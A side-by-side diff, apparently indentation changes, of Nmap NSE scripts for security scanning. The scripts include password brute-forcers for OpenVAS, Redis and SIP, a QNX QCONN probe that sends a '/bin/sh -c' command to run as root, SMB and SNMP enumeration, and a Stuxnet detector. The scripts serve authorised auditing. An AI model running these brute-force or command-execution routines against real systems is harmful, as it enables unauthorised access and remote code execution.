local err = brute.Error:new( "Couldn't send password: "..password ) local err = brute.Error:new( "Couldn't send password: "..password )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
-- Create a buffer and receive the first line -- Create a buffer and receive the first line
local line local line
status, line = self.socket:receive_buf("\r?\n", false) status, line = self.socket:receive_buf("\r?\n", false)
if (line == nil or string.match(line,"Bad login")) then if (line == nil or string.match(line,"Bad login")) then
stdnse.print_debug(2, "openvas-otp-brute: Bad login: %s/%s", username, password) stdnse.print_debug(2, "openvas-otp-brute: Bad login: %s/%s", username, password)
return false, brute.Error:new( "Bad login" ) return false, brute.Error:new( "Bad login" )
elseif (string.match(line,"SERVER <|>")) then elseif (string.match(line,"SERVER <|>")) then
stdnse.print_debug(1, "openvas-otp-brute: Good login: %s/%s", username, password) stdnse.print_debug(1, "openvas-otp-brute: Good login: %s/%s", username, password)
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
stdnse.print_debug(1, "openvas-otp-brute: WARNING: Unhandled response: %s", line) stdnse.print_debug(1, "openvas-otp-brute: WARNING: Unhandled response: %s", line)
return false, brute.Error:new( "unhandled response" ) return false, brute.Error:new( "unhandled response" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.socket:close() self.socket:close()
end, end,
} }
action = function(host, port) action = function(host, port)
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine:setMaxThreads(1) engine:setMaxThreads(1)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -61,54 +61,54 @@ categories = {"intrusive", "exploit", "vuln"}
portrule = shortport.port_or_service ({8000}, "qconn", {"tcp"}) portrule = shortport.port_or_service ({8000}, "qconn", {"tcp"})
action = function( host, port ) action = function( host, port )
local vuln_table = { local vuln_table = {
title = "The QNX QCONN daemon allows remote command execution.", title = "The QNX QCONN daemon allows remote command execution.",
state = vulns.STATE.NOT_VULN, state = vulns.STATE.NOT_VULN,
risk_factor = "High", risk_factor = "High",
description = [[ description = [[
The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating
system commands as the 'root' user. system commands as the 'root' user.
]], ]],
references = { references = {
'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos',
'http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec' 'http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec'
} }
} }
-- Set socket timeout -- Set socket timeout
local timeout = (stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 30) local timeout = (stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 30)
-- Set max bytes to retrieve -- Set max bytes to retrieve
local bytes = (stdnse.get_script_args(SCRIPT_NAME .. '.bytes') or 1024) local bytes = (stdnse.get_script_args(SCRIPT_NAME .. '.bytes') or 1024)
-- Set command to execute -- Set command to execute
local cmd = (stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "uname -a") local cmd = (stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "uname -a")
-- Send command as service launcher request -- Send command as service launcher request
local req = string.format("service launcher\nstart/flags run /bin/sh /bin/sh -c \"%s\"\n", cmd) local req = string.format("service launcher\nstart/flags run /bin/sh /bin/sh -c \"%s\"\n", cmd)
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
local status, data = comm.exchange(host, port, req, {timeout=timeout*1000,bytes=bytes}) local status, data = comm.exchange(host, port, req, {timeout=timeout*1000,bytes=bytes})
if not status then if not status then
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout)) stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
return return
end end
-- Parse response -- Parse response
stdnse.print_debug(2, ("%s: Received reply:\n%s"):format(SCRIPT_NAME, data)) stdnse.print_debug(2, ("%s: Received reply:\n%s"):format(SCRIPT_NAME, data))
if not string.match(data, "QCONN") then if not string.match(data, "QCONN") then
stdnse.print_debug(1, ("%s: %s:%s is not a QNX QCONN daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: %s:%s is not a QNX QCONN daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return return
end end
-- Check if the daemon attempted to execute the command -- Check if the daemon attempted to execute the command
if string.match(data, 'OK [0-9]+\r?\n') then if string.match(data, 'OK [0-9]+\r?\n') then
vuln_table.state = vulns.STATE.VULN vuln_table.state = vulns.STATE.VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
return report:make_output(vuln_table) return report:make_output(vuln_table)
else else
stdnse.print_debug(1, ("%s: %s:%s QNX QCONN daemon is not vulnerable."):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: %s:%s QNX QCONN daemon is not vulnerable."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return return
end end
end end

View File

@@ -33,80 +33,80 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function( self ) connect = function( self )
self.helper = redis.Helper:new(self.host, self.port) self.helper = redis.Helper:new(self.host, self.port)
return self.helper:connect() return self.helper:connect()
end, end,
login = function( self, username, password ) login = function( self, username, password )
local status, response = self.helper:reqCmd("AUTH", password) local status, response = self.helper:reqCmd("AUTH", password)
-- some error occured, attempt to retry -- some error occured, attempt to retry
if ( status and response.type == redis.Response.Type.ERROR and if ( status and response.type == redis.Response.Type.ERROR and
"-ERR invalid password" == response.data ) then "-ERR invalid password" == response.data ) then
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
elseif ( status and response.type == redis.Response.Type.STATUS and elseif ( status and response.type == redis.Response.Type.STATUS and
"+OK" ) then "+OK" ) then
return true, brute.Account:new( "", password, creds.State.VALID) return true, brute.Account:new( "", password, creds.State.VALID)
else else
local err = brute.Error:new( response.data ) local err = brute.Error:new( response.data )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
end, end,
disconnect = function(self) disconnect = function(self)
return self.helper:close() return self.helper:close()
end, end,
} }
local function checkRedis(host, port) local function checkRedis(host, port)
local helper = redis.Helper:new(host, port) local helper = redis.Helper:new(host, port)
local status = helper:connect() local status = helper:connect()
if( not(status) ) then if( not(status) ) then
return false, "Failed to connect to server" return false, "Failed to connect to server"
end end
local status, response = helper:reqCmd("INFO") local status, response = helper:reqCmd("INFO")
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to request INFO command" return false, "Failed to request INFO command"
end end
if ( redis.Response.Type.ERROR == response.type ) then if ( redis.Response.Type.ERROR == response.type ) then
if ( "-ERR operation not permitted" == response.data ) or if ( "-ERR operation not permitted" == response.data ) or
( "-NOAUTH Authentication required." == response.data) then ( "-NOAUTH Authentication required." == response.data) then
return true return true
end end
end end
return false, "Server does not require authentication" return false, "Server does not require authentication"
end end
action = function(host, port) action = function(host, port)
local status, err = checkRedis(host, port) local status, err = checkRedis(host, port)
if ( not(status) ) then if ( not(status) ) then
return fail(err) return fail(err)
end end
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
engine.options:setOption( "passonly", true ) engine.options:setOption( "passonly", true )
local result local result
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -80,8 +80,8 @@ action = function (host, port)
title = "RMI registry default configuration remote code execution vulnerability", title = "RMI registry default configuration remote code execution vulnerability",
description = [[ description = [[
Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code executeion. Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code executeion.
]], ]],
references = { references = {
'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/misc/java_rmi_server.rb', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/misc/java_rmi_server.rb',
}, },

View File

@@ -33,42 +33,42 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect = function( self ) connect = function( self )
self.helper = sip.Helper:new(self.host, self.port, { expires = 0 }) self.helper = sip.Helper:new(self.host, self.port, { expires = 0 })
local status, err = self.helper:connect() local status, err = self.helper:connect()
if ( not(status) ) then if ( not(status) ) then
return "ERROR: Failed to connect to SIP server" return "ERROR: Failed to connect to SIP server"
end end
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
self.helper:setCredentials(username, password) self.helper:setCredentials(username, password)
local status, err = self.helper:register() local status, err = self.helper:register()
if ( not(status) ) then if ( not(status) ) then
-- The 3CX System has an anti-hacking option that triggers after -- The 3CX System has an anti-hacking option that triggers after
-- a certain amount of guesses. This protection basically prevents -- a certain amount of guesses. This protection basically prevents
-- any connection from the offending IP at an application level. -- any connection from the offending IP at an application level.
if ( err:match("^403 Forbidden") ) then if ( err:match("^403 Forbidden") ) then
local err = brute.Error:new("The systems seems to have blocked our IP") local err = brute.Error:new("The systems seems to have blocked our IP")
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end end
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end, end,
disconnect = function(self) return self.helper:close() end, disconnect = function(self) return self.helper:close() end,
} }
-- Function used to check if we can distinguish existing from non-existing -- Function used to check if we can distinguish existing from non-existing
@@ -77,34 +77,34 @@ Driver = {
-- was successful which makes it impossible to tell successfull logins -- was successful which makes it impossible to tell successfull logins
-- from non-existing accounts apart. -- from non-existing accounts apart.
local function checkBadUser(host, port) local function checkBadUser(host, port)
local user = "baduser-" .. math.random(10000) local user = "baduser-" .. math.random(10000)
local pass = "badpass-" .. math.random(10000) local pass = "badpass-" .. math.random(10000)
local helper = sip.Helper:new(host, port, { expires = 0 }) local helper = sip.Helper:new(host, port, { expires = 0 })
stdnse.print_debug(2, "Checking bad user: %s/%s", user, pass) stdnse.print_debug(2, "Checking bad user: %s/%s", user, pass)
local status, err = helper:connect() local status, err = helper:connect()
if ( not(status) ) then return false, "ERROR: Failed to connect" end if ( not(status) ) then return false, "ERROR: Failed to connect" end
helper:setCredentials(user, pass) helper:setCredentials(user, pass)
local status, err = helper:register() local status, err = helper:register()
helper:close() helper:close()
return status, err return status, err
end end
action = function(host, port) action = function(host, port)
local force = stdnse.get_script_args("sip-brute.force") local force = stdnse.get_script_args("sip-brute.force")
if ( not(force) ) then if ( not(force) ) then
local status = checkBadUser(host, port) local status = checkBadUser(host, port)
if ( status ) then if ( status ) then
return "\nERROR: Cannot detect non-existing user accounts, this will result in:\n" .. return "\nERROR: Cannot detect non-existing user accounts, this will result in:\n" ..
" * Non-exisiting accounts being detected as found\n" .. " * Non-exisiting accounts being detected as found\n" ..
" * Passwords for existing accounts being correctly detected\n\n" .. " * Passwords for existing accounts being correctly detected\n\n" ..
"Supply the sip-brute.force argument to override" "Supply the sip-brute.force argument to override"
end end
end end
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -65,59 +65,59 @@ dependencies = {"smb-brute"}
-- TODO: This script needs some love... -- TODO: This script needs some love...
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
action = function(host) action = function(host)
local status, result = msrpc.get_domains(host) local status, result = msrpc.get_domains(host)
if(not(status)) then if(not(status)) then
return stdnse.format_output(false, result) return stdnse.format_output(false, result)
else else
local response = {} local response = {}
for domain, data in pairs(result) do for domain, data in pairs(result) do
local piece = {} local piece = {}
piece['name'] = domain piece['name'] = domain
if(#data.groups > 0) then if(#data.groups > 0) then
table.insert(piece, string.format("Groups: %s", stdnse.strjoin(", ", data.groups))) table.insert(piece, string.format("Groups: %s", stdnse.strjoin(", ", data.groups)))
else else
table.insert(piece, string.format("Groups: n/a")) table.insert(piece, string.format("Groups: n/a"))
end end
if(#data.users > 0) then if(#data.users > 0) then
table.insert(piece, string.format("Users: %s", stdnse.strjoin(", ", data.users))) table.insert(piece, string.format("Users: %s", stdnse.strjoin(", ", data.users)))
else else
table.insert(piece, string.format("Users: n/a")) table.insert(piece, string.format("Users: n/a"))
end end
-- Floor data.max_password_age, if possible -- Floor data.max_password_age, if possible
if(data.max_password_age) then if(data.max_password_age) then
data.max_password_age = math.floor(data.max_password_age) data.max_password_age = math.floor(data.max_password_age)
end end
table.insert(piece, string.format("Creation time: %s", data.created)) table.insert(piece, string.format("Creation time: %s", data.created))
table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords", table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords",
data.min_password_length or "n/a", data.min_password_length or "n/a",
data.min_password_age or "n/a", data.min_password_age or "n/a",
data.max_password_age or "n/a", data.max_password_age or "n/a",
data.password_history or "n/a")) data.password_history or "n/a"))
if(data.password_properties and #data.password_properties) then if(data.password_properties and #data.password_properties) then
table.insert(piece, string.format("Properties: %s", stdnse.strjoin(", ", data.password_properties))) table.insert(piece, string.format("Properties: %s", stdnse.strjoin(", ", data.password_properties)))
end end
if(data.lockout_threshold) then if(data.lockout_threshold) then
table.insert(piece, string.format("Account lockout: %s attempts in %s minutes will lock out the account for %s minutes", data.lockout_threshold, data.lockout_window or "unlimited", data.lockout_duration or "unlimited")) table.insert(piece, string.format("Account lockout: %s attempts in %s minutes will lock out the account for %s minutes", data.lockout_threshold, data.lockout_window or "unlimited", data.lockout_duration or "unlimited"))
else else
table.insert(piece, string.format("Account lockout disabled")) table.insert(piece, string.format("Account lockout disabled"))
end end
table.insert(response, piece) table.insert(response, piece)
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end
end end

View File

@@ -50,79 +50,79 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"} categories = {"discovery", "safe"}
hostrule = function(host) hostrule = function(host)
return ( smb.get_port(host) ~= nil and arg_share and arg_path ) return ( smb.get_port(host) ~= nil and arg_share and arg_path )
end end
-- checks whether the file entry is a directory -- checks whether the file entry is a directory
local function is_dir(fe) local function is_dir(fe)
return ( bit.band(fe.attrs, 16) == 16 ) return ( bit.band(fe.attrs, 16) == 16 )
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host) action = function(host)
local status, smbstate = smb.start_ex(host, true, true, arg_share, nil, nil, nil) local status, smbstate = smb.start_ex(host, true, true, arg_share, nil, nil, nil)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to authenticate to server (" .. smbstate .. ")") return fail("Failed to authenticate to server (" .. smbstate .. ")")
end end
-- remove leading slash -- remove leading slash
arg_path = ( arg_path:sub(1,2) == '\\' and arg_path:sub(2) or arg_path ) arg_path = ( arg_path:sub(1,2) == '\\' and arg_path:sub(2) or arg_path )
-- fixup checksum argument -- fixup checksum argument
arg_checksum = ( arg_checksum == 'true' or arg_checksum == '1' ) and true or false arg_checksum = ( arg_checksum == 'true' or arg_checksum == '1' ) and true or false
local options = { max_depth = arg_maxdepth, max_files = arg_maxfiles } local options = { max_depth = arg_maxdepth, max_files = arg_maxfiles }
local depth, path, output, dirs = 0, arg_path, {}, {} local depth, path, output, dirs = 0, arg_path, {}, {}
local file_count, dir_count, total_bytes = 0, 0, 0 local file_count, dir_count, total_bytes = 0, 0, 0
repeat repeat
local lstab = tab.new((arg_checksum and 4 or 3)) local lstab = tab.new((arg_checksum and 4 or 3))
for fe in smb.find_files(smbstate, path .. '\\' .. arg_pattern, options ) do for fe in smb.find_files(smbstate, path .. '\\' .. arg_pattern, options ) do
if ( arg_checksum and not(is_dir(fe)) ) then if ( arg_checksum and not(is_dir(fe)) ) then
local status, content = smb.file_read(host, arg_share, path .. '\\' .. fe.fname, nil, {file_create_disposition=1}) local status, content = smb.file_read(host, arg_share, path .. '\\' .. fe.fname, nil, {file_create_disposition=1})
local sha1 = ( status and stdnse.tohex(openssl.sha1(content)) or "" ) local sha1 = ( status and stdnse.tohex(openssl.sha1(content)) or "" )
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname, sha1) tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname, sha1)
else else
tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname) tab.addrow(lstab, fe.created, (is_dir(fe) and '<DIR>' or fe.eof), fe.fname)
end end
arg_maxfiles = ( arg_maxfiles and arg_maxfiles - 1 ) arg_maxfiles = ( arg_maxfiles and arg_maxfiles - 1 )
if ( arg_maxfiles == 0 ) then if ( arg_maxfiles == 0 ) then
break break
end end
if ( is_dir(fe) ) then if ( is_dir(fe) ) then
dir_count = dir_count + 1 dir_count = dir_count + 1
if ( fe.fname ~= '.' and fe.fname ~= '..' ) then if ( fe.fname ~= '.' and fe.fname ~= '..' ) then
table.insert(dirs, { depth = depth + 1, path = path .. '\\' .. fe.fname } ) table.insert(dirs, { depth = depth + 1, path = path .. '\\' .. fe.fname } )
end end
else else
total_bytes = total_bytes + fe.eof total_bytes = total_bytes + fe.eof
file_count = file_count + 1 file_count = file_count + 1
end end
end end
table.insert(output, { name = ("Directory of %s"):format( '\\\\' .. stdnse.get_hostname(host) .. '\\' .. arg_share .. path), tab.dump(lstab) }) table.insert(output, { name = ("Directory of %s"):format( '\\\\' .. stdnse.get_hostname(host) .. '\\' .. arg_share .. path), tab.dump(lstab) })
path = nil path = nil
if ( #dirs ~= 0 ) then if ( #dirs ~= 0 ) then
local dir = table.remove(dirs, 1) local dir = table.remove(dirs, 1)
depth = dir.depth depth = dir.depth
if ( not(arg_maxdepth) or ( dir.depth < arg_maxdepth ) ) then if ( not(arg_maxdepth) or ( dir.depth < arg_maxdepth ) ) then
path = dir.path path = dir.path
table.insert(output, "") table.insert(output, "")
end end
end end
until(not(path) or arg_maxfiles == 0) until(not(path) or arg_maxfiles == 0)
smb.stop(smbstate) smb.stop(smbstate)
local summary = { name = "Total Files Listed:", local summary = { name = "Total Files Listed:",
("%8d File(s)\t%d bytes"):format(file_count, total_bytes), ("%8d File(s)\t%d bytes"):format(file_count, total_bytes),
("%8d Dir(s)"):format(dir_count) } ("%8d Dir(s)"):format(dir_count) }
table.insert(output, "") table.insert(output, "")
table.insert(output, summary) table.insert(output, summary)
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -31,88 +31,88 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- Sends SNMP packets to host and reads responses -- Sends SNMP packets to host and reads responses
action = function(host, port) action = function(host, port)
-- create the socket used for our connection -- create the socket used for our connection
local socket = nmap.new_socket() local socket = nmap.new_socket()
-- set a reasonable timeout value -- set a reasonable timeout value
socket:set_timeout(5000) socket:set_timeout(5000)
-- do some exception handling / cleanup -- do some exception handling / cleanup
local catch = function() local catch = function()
socket:close() socket:close()
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
-- connect to the potential SNMP system -- connect to the potential SNMP system
try(socket:connect(host, port)) try(socket:connect(host, port))
local payload local payload
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- copied from packet capture of snmpget exchange -- copied from packet capture of snmpget exchange
-- get value: 1.3.6.1.2.1.1.1.0 (SNMPv2-MIB::sysDescr.0) -- get value: 1.3.6.1.2.1.1.1.0 (SNMPv2-MIB::sysDescr.0)
local options = {} local options = {}
options.reqId = 28428 -- unnecessary? options.reqId = 28428 -- unnecessary?
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.1.0"))) payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.1.0")))
try(socket:send(payload)) try(socket:send(payload))
local status local status
local response local response
-- read in any response we might get -- read in any response we might get
status, response = socket:receive_bytes(1) status, response = socket:receive_bytes(1)
if (not status) or (response == "TIMEOUT") then if (not status) or (response == "TIMEOUT") then
return return
end end
-- since we got something back, the port is definitely open -- since we got something back, the port is definitely open
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
local result local result
result = snmp.fetchFirst(response) result = snmp.fetchFirst(response)
-- build a SNMP v1 packet -- build a SNMP v1 packet
-- copied from packet capture of snmpget exchange -- copied from packet capture of snmpget exchange
-- get value: 1.3.6.1.2.1.1.3.0 (SNMPv2-MIB::sysUpTime.0) -- get value: 1.3.6.1.2.1.1.3.0 (SNMPv2-MIB::sysUpTime.0)
local options = {} local options = {}
options.reqId = 28428 options.reqId = 28428
payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.3.0"))) payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, "1.3.6.1.2.1.1.3.0")))
try(socket:send(payload)) try(socket:send(payload))
-- read in any response we might get -- read in any response we might get
status, response = socket:receive_bytes(1) status, response = socket:receive_bytes(1)
if (not status) or (response == "TIMEOUT") then if (not status) or (response == "TIMEOUT") then
return result return result
end end
try(socket:close()) try(socket:close())
local uptime = snmp.fetchFirst(response) local uptime = snmp.fetchFirst(response)
local days, hours, minutes, seconds, htime, mtime, stime local days, hours, minutes, seconds, htime, mtime, stime
days = math.floor(uptime / 8640000) days = math.floor(uptime / 8640000)
htime = math.fmod(uptime, 8640000) htime = math.fmod(uptime, 8640000)
hours = math.floor(htime / 360000) hours = math.floor(htime / 360000)
mtime = math.fmod(htime, 360000) mtime = math.fmod(htime, 360000)
minutes = math.floor(mtime / 6000) minutes = math.floor(mtime / 6000)
stime = math.fmod(mtime, 6000) stime = math.fmod(mtime, 6000)
seconds = stime / 100 seconds = stime / 100
local dayLabel local dayLabel
if days == 1 then if days == 1 then
dayLabel = "day" dayLabel = "day"
else else
dayLabel = "days" dayLabel = "days"
end end
result = result .. "\n" .. string.format(" System uptime: %d %s, %d:%02d:%05.2f (%s timeticks)", days, dayLabel, hours, minutes, seconds, tostring(uptime)) result = result .. "\n" .. string.format(" System uptime: %d %s, %d:%02d:%05.2f (%s timeticks)", days, dayLabel, hours, minutes, seconds, tostring(uptime))
return result return result
end end

View File

@@ -40,13 +40,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- @return value of relevant type or nil if oid was not found -- @return value of relevant type or nil if oid was not found
function get_value_from_table( tbl, oid ) function get_value_from_table( tbl, oid )
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
if v.oid == oid then if v.oid == oid then
return v.value return v.value
end end
end end
return nil return nil
end end
--- Processes the table and creates the script output --- Processes the table and creates the script output
@@ -55,55 +55,55 @@ end
-- @return table suitable for <code>stdnse.format_output</code> -- @return table suitable for <code>stdnse.format_output</code>
function process_answer( tbl ) function process_answer( tbl )
local sw_name = "1.3.6.1.2.1.25.6.3.1.2" local sw_name = "1.3.6.1.2.1.25.6.3.1.2"
local sw_date = "1.3.6.1.2.1.25.6.3.1.5" local sw_date = "1.3.6.1.2.1.25.6.3.1.5"
local new_tbl = {} local new_tbl = {}
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
if ( v.oid:match("^" .. sw_name) ) then if ( v.oid:match("^" .. sw_name) ) then
local objid = v.oid:gsub( "^" .. sw_name, sw_date) local objid = v.oid:gsub( "^" .. sw_name, sw_date)
local install_date = get_value_from_table( tbl, objid ) local install_date = get_value_from_table( tbl, objid )
local sw_item local sw_item
local _, year, month, day, hour, min, sec = bin.unpack( ">SCCCCC", install_date ) local _, year, month, day, hour, min, sec = bin.unpack( ">SCCCCC", install_date )
install_date = ("%02d-%02d-%02d %02d:%02d:%02d"):format( year, month, day, hour, min, sec ) install_date = ("%02d-%02d-%02d %02d:%02d:%02d"):format( year, month, day, hour, min, sec )
sw_item = ("%s; %s"):format(v.value ,install_date) sw_item = ("%s; %s"):format(v.value ,install_date)
table.insert( new_tbl, sw_item ) table.insert( new_tbl, sw_item )
end end
end end
table.sort( new_tbl ) table.sort( new_tbl )
return new_tbl return new_tbl
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local data, snmpoid = nil, "1.3.6.1.2.1.25.6.3.1" local data, snmpoid = nil, "1.3.6.1.2.1.25.6.3.1"
local sw = {} local sw = {}
local status local status
socket:set_timeout(5000) socket:set_timeout(5000)
try(socket:connect(host, port)) try(socket:connect(host, port))
status, sw = snmp.snmpWalk( socket, snmpoid ) status, sw = snmp.snmpWalk( socket, snmpoid )
socket:close() socket:close()
if ( not(status) ) or ( sw == nil ) or ( #sw == 0 ) then if ( not(status) ) or ( sw == nil ) or ( #sw == 0 ) then
return return
end end
sw = process_answer( sw ) sw = process_answer( sw )
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
return stdnse.format_output( true, sw ) return stdnse.format_output( true, sw )
end end

View File

@@ -42,76 +42,76 @@ local RPC_GET_VERSION = 0x00
local RPC_GET_EXECUTABLE = 0x04 local RPC_GET_EXECUTABLE = 0x04
local function check_infected(host, path, save) local function check_infected(host, path, save)
local file, result, session, status, version local file, result, session, status, version
-- Create an SMB session. -- Create an SMB session.
status, session = msrpc.start_smb(host, path) status, session = msrpc.start_smb(host, path)
if not status then if not status then
stdnse.print_debug(1, "Failed to establish session on %s.", path) stdnse.print_debug(1, "Failed to establish session on %s.", path)
return false, nil return false, nil
end end
-- Bind to the Stuxnet service. -- Bind to the Stuxnet service.
status, result = msrpc.bind(session, STUXNET_UUID, STUXNET_VERSION, nil) status, result = msrpc.bind(session, STUXNET_UUID, STUXNET_VERSION, nil)
if not status or result["ack_result"] ~= 0 then if not status or result["ack_result"] ~= 0 then
stdnse.print_debug(1, "Failed to bind to Stuxnet service.") stdnse.print_debug(1, "Failed to bind to Stuxnet service.")
msrpc.stop_smb(session) msrpc.stop_smb(session)
return false, nil return false, nil
end end
-- Request version of Stuxnet infection. -- Request version of Stuxnet infection.
status, result = msrpc.call_function(session, RPC_GET_VERSION, "") status, result = msrpc.call_function(session, RPC_GET_VERSION, "")
if not status then if not status then
stdnse.print_debug(1, "Failed to retrieve Stuxnet version: %s", result) stdnse.print_debug(1, "Failed to retrieve Stuxnet version: %s", result)
msrpc.stop_smb(session) msrpc.stop_smb(session)
return false, nil return false, nil
end end
version = stdnse.tohex(result.arguments, {separator = ":"}) version = stdnse.tohex(result.arguments, {separator = ":"})
-- Request executable of Stuxnet infection. -- Request executable of Stuxnet infection.
if save then if save then
local file, fmt local file, fmt
status, result = msrpc.call_function(session, RPC_GET_EXECUTABLE, "") status, result = msrpc.call_function(session, RPC_GET_EXECUTABLE, "")
if not status then if not status then
stdnse.print_debug(1, "Failed to retrieve Stuxnet executable: %s", result) stdnse.print_debug(1, "Failed to retrieve Stuxnet executable: %s", result)
msrpc.stop_smb(session) msrpc.stop_smb(session)
return true, version return true, version
end end
fmt = save:gsub("%%h", host.ip) fmt = save:gsub("%%h", host.ip)
fmt = fmt:gsub("%%v", version) fmt = fmt:gsub("%%v", version)
file = io.open(stdnse.filename_escape(fmt), "w") file = io.open(stdnse.filename_escape(fmt), "w")
if file then if file then
stdnse.print_debug(1, "Wrote %d bytes to file %s.", #result.arguments, fmt) stdnse.print_debug(1, "Wrote %d bytes to file %s.", #result.arguments, fmt)
file:write(result.arguments) file:write(result.arguments)
file:close() file:close()
else else
stdnse.print_debug(1, "Failed to open file: %s", fmt) stdnse.print_debug(1, "Failed to open file: %s", fmt)
end end
end end
-- Destroy the SMB session -- Destroy the SMB session
msrpc.stop_smb(session) msrpc.stop_smb(session)
return true, version return true, version
end end
hostrule = function(host) hostrule = function(host)
return (smb.get_port(host) ~= nil) return (smb.get_port(host) ~= nil)
end end
action = function(host, port) action = function(host, port)
local _, path, result, save, status local _, path, result, save, status
-- Get script arguments. -- Get script arguments.
save = stdnse.get_script_args("stuxnet-detect.save") save = stdnse.get_script_args("stuxnet-detect.save")
-- Try to find Stuxnet on this host. -- Try to find Stuxnet on this host.
for _, path in pairs(STUXNET_PATHS) do for _, path in pairs(STUXNET_PATHS) do
status, result = check_infected(host, path, save) status, result = check_infected(host, path, save)
if status then if status then
return "INFECTED (version " .. result .. ")" return "INFECTED (version " .. result .. ")"
end end
end end
end end

View File

@@ -37,85 +37,85 @@ hostrule = function() return true end
-- the hostrule is only needed to warn -- the hostrule is only needed to warn
hostaction = function(host) hostaction = function(host)
local port, state = nil, "open" local port, state = nil, "open"
local is_version_scan = false local is_version_scan = false
-- iterate over ports and check whether name_confidence > 3 this would -- iterate over ports and check whether name_confidence > 3 this would
